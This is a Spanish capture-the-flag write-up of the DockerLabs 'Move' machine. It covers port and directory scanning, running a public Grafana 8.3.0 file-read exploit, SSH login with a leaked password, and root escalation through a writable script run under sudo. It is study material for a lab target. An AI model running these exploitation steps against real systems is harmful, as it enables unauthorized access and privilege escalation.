miguel@home:~$

Move - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)
  • 3000 (Grafana) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 22,80,3000 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

En el puerto 80, lo que observamos es la página por defecto de Apache.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Encontramos una ruta llamada maintenance.html, que parece contener una ruta interesante: /tmp/pass.txt.

image

Vamos a revisar el puerto 3000.

image

Observamos que contiene una instalación de Grafana versión 8.3.0. Vamos a investigar si tiene alguna vulnerabilidad conocida.

image

Al parecer sí la tiene, así que buscamos el exploit utilizando searchsploit:

searchsploit grafana 8.3.0

image

Como podemos ver, existe un exploit disponible para nuestra versión. Lo copiamos a nuestra carpeta:

locate multiple/webapps/50581.py

image

cp /usr/share/exploitdb/exploits/multiple/webapps/50581.py exploit.py

image

Intrusion

Ejecutamos el exploit

python3 exploit.py -H http://172.17.0.2:3000

image

Vemos que hay un usuario llamado freddy. Como antes hemos visto la ruta /tmp/pass.txt, vamos a ver qué contiene.

image

Parece ser una contraseña. Vamos a intentar acceder a través de ssh con el usuario freddy:

ssh freddy@172.17.0.2 

Escalada de Privilegios

Al ejecutar sudo -l, vemos que podemos ejecutar python3 como root en un archivo en /opt/maintenance.py.Utilizando GTFOBins sabemos cómo explotar estos binarios.

Al ver que permisos tiene ese archivo vemos que somos dueño del archivo por lo que podemos cambiar su contenido.

ls -la /opt/maintenance.py 

image

Vamos a generar una shell:

image

Luego lo ejecutamos:

sudo /usr/bin/python3 /opt/maintenance.py

Ahora ya somos root.

image